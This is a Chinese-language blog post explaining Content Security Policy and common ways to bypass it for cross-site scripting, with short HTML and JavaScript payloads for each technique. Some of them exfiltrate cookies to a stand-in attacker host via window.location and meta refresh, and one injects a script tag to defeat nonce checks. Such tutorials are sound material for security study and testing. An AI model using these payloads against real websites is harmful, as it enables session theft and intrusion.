XSS--CSP安全策略概述及bypass方法

基本概念:

CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP的实质就是白名单机制,对网站加载执行的资源进行安全策略的控制。
Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。
CSP的特点就是它是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。
CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。

常见绕过方式:

1.利用页面预加载:

浏览器为了增强⽤⼾体验,让浏览器更有效率,就有⼀个预加载的功能,⼤体是利⽤浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术⼜细分为DNS-prefetch、subresource、prefetch、preconnect、 prerender。HTML5⻚⾯预加载是⽤link标签的rel属性来指定的。如果csp头有 unsafe-inline,则⽤预加载的⽅式可以向外界发出请求,例如

<!-- 预加载某个⻚⾯ -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图⽚ -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定⽂件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

2.利用302重定向:

1.利用url跳转可以回避严格的CSP
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

2.在 default-src ‘none’ 的情况下,可以使用 meta 标签实现跳转

 <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

3.<a> 标签配合站内的某些可控 JS 点击操作来跳转

 <script>  $(#foo).click()</script><a id="foo" href="xxxxx.com">

4.利用网站本身的跳转接口

http://foo.com/jmp.php?url=attack.com

3.利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

这样会拼成一个新的script标签,其中的src可以自由设定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

4.MIME Sniff(利用上传文件)

举例来说,csp禁⽌跨站读取脚本,但是可以跨站读img,那么传⼀个 含有脚本的img,再<script href='http://xxx.com/xx.jpg'>,这⾥csp认为是⼀个img,绕过了检查,如果⽹站没有回正确的mime type,浏览器会进⾏猜测,就可能作为脚本加载该img。

5.利用iframe标签

1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

<iframe src="B"></iframe>

2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如http://xxx页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

 

 

posted @ 2021-07-11 15:44  就喜欢散散步  阅读(509)  评论(0编辑  收藏  举报